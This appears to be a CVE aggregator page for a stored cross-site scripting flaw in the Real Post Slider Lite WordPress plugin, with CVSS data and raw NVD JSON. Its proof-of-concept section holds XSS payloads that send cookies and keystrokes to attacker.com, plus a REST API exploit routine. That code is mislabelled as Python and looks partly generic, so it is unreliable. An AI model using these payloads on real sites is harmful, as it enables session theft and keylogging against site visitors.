Security Vulnerability Report
中文
CVE-2026-0680 CVSS 4.4 MEDIUM

CVE-2026-0680

Published: 2026-01-14 06:15:55
Last Modified: 2026-04-15 00:35:42

Description

The Real Post Slider Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin settings in all versions up to, and including, 2.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Real Post Slider Lite <= 2.4 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2026-0680 PoC - Real Post Slider Lite Stored XSS * Requirements: WordPress admin privileges * Target: Real Post Slider Lite plugin <= 2.4 * * This PoC demonstrates how to inject malicious JavaScript * through the plugin settings page. */ // PoC payload for XSS injection $poc_payloads = [ // Basic XSS alert '<script>alert("XSS")</script>', // Cookie stealing payload '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>', // Session hijacking with keylogger '<script>document.onkeypress=function(e){fetch("https://attacker.com/log?k="+e.key)}</script>', // Defacement payload '<script>document.body.innerHTML="<h1>Hacked</h1>"</script>' ]; /** * WordPress REST API exploitation method * Target endpoint: /wp-json/wp/v2/settings * Requires: Valid admin nonce and authentication */ function exploit_via_rest_api($target_url, $payload) { $ch = curl_init(); // Get nonce first $response = file_get_contents($target_url . '/wp-admin/admin-ajax.php?action=rest-nonce'); $nonce = json_decode($response, true); $headers = [ 'Content-Type: application/json', 'X-WP-Nonce: ' . $nonce, 'Cookie: [admin cookies]' ]; $data = json_encode([ 'real_post_slider_options' => [ 'slider_title' => $payload, 'slider_content' => $payload ] ]); curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/wp/v2/settings'); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); return curl_exec($ch); } /** * Direct database injection method * For multi-site installations with database access */ function exploit_via_database($wpdb, $payload) { $sql = "UPDATE wp_options SET option_value = '" . $payload . "' WHERE option_name = 'real_post_slider_settings'"; return $wpdb->query($sql); } echo "CVE-2026-0680 Real Post Slider Lite XSS PoC\n"; echo "Target: WordPress with Real Post Slider Lite <= 2.4\n"; echo "Impact: Stored XSS affecting admin users\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0680", "sourceIdentifier": "[email protected]", "published": "2026-01-14T06:15:55.350", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Real Post Slider Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin settings in all versions up to, and including, 2.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}, {"lang": "es", "value": "El plugin Real Post Slider Lite para WordPress es vulnerable a cross-site scripting almacenado a través de la configuración del plugin en todas las versiones hasta la 2.4, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto hace posible que atacantes autenticados, con acceso de nivel de administrador, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada. Esto solo afecta a las instalaciones multisitio y a las instalaciones donde se ha deshabilitado unfiltered_html."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/real-post-slider-lite/tags/2.4/real-post-slider-lite.php#L130", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/real-post-slider-lite/trunk/real-post-slider-lite.php#L130", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/324fd823-8ec9-4187-8694-6160bad8e093?source=cve", "source": "[email protected]"}]}}